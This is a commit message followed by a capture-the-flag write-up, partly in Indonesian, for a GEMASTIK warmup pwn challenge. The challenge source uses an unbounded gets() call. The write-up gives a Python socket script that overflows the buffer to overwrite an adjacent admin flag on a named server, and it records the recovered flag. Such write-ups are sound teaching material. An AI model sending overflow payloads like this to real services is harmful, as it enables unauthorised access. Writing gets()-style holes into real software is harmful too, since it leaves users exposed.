- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*) - Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto - ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes) - All flags recovered and documented with solution methods
47 lines
981 B
Markdown
47 lines
981 B
Markdown
---
|
|
title: "Are You Admin? — Buffer Overflow"
|
|
event: "GEMASTIK 2026 Warmup"
|
|
challenge: "Are You Admin?"
|
|
category: "pwn"
|
|
points: 500
|
|
difficulty: "easy"
|
|
flag: "GEMASTIK19{0v3rfl0w_ubah_var}"
|
|
---
|
|
|
|
# Are You Admin? (500 pts) — Pwn / Buffer Overflow
|
|
|
|
**Server:** `nc 15.232.89.109 9001`
|
|
|
|
**Source (`chall.c`):**
|
|
|
|
```c
|
|
volatile int admin = 0;
|
|
char name[16];
|
|
gets(name); // <-- overflow, no bounds check
|
|
if (admin != 0) { /* print flag */ }
|
|
```
|
|
|
|
## Eksploitasi
|
|
|
|
Stack layout: `name[16]` diikuti oleh `admin` (int). Overflow `name` dengan padding 20 byte
|
|
lalu 4 byte nonzero untuk mengubah `admin` menjadi != 0:
|
|
|
|
```python
|
|
import socket, time
|
|
|
|
s = socket.socket()
|
|
s.connect(("15.232.89.109", 9001))
|
|
time.sleep(0.5)
|
|
|
|
# 16 bytes buf + 4 bytes padding + 4 bytes admin override
|
|
payload = b"A" * 20 + b"\xff\xff\xff\xff"
|
|
s.sendall(payload + b"\n")
|
|
time.sleep(1.2)
|
|
print(s.recv(4096).decode())
|
|
# -> GEMASTIK19{0v3rfl0w_ubah_var}
|
|
```
|
|
|
|
## Flag
|
|
|
|
`GEMASTIK19{0v3rfl0w_ubah_var}`
|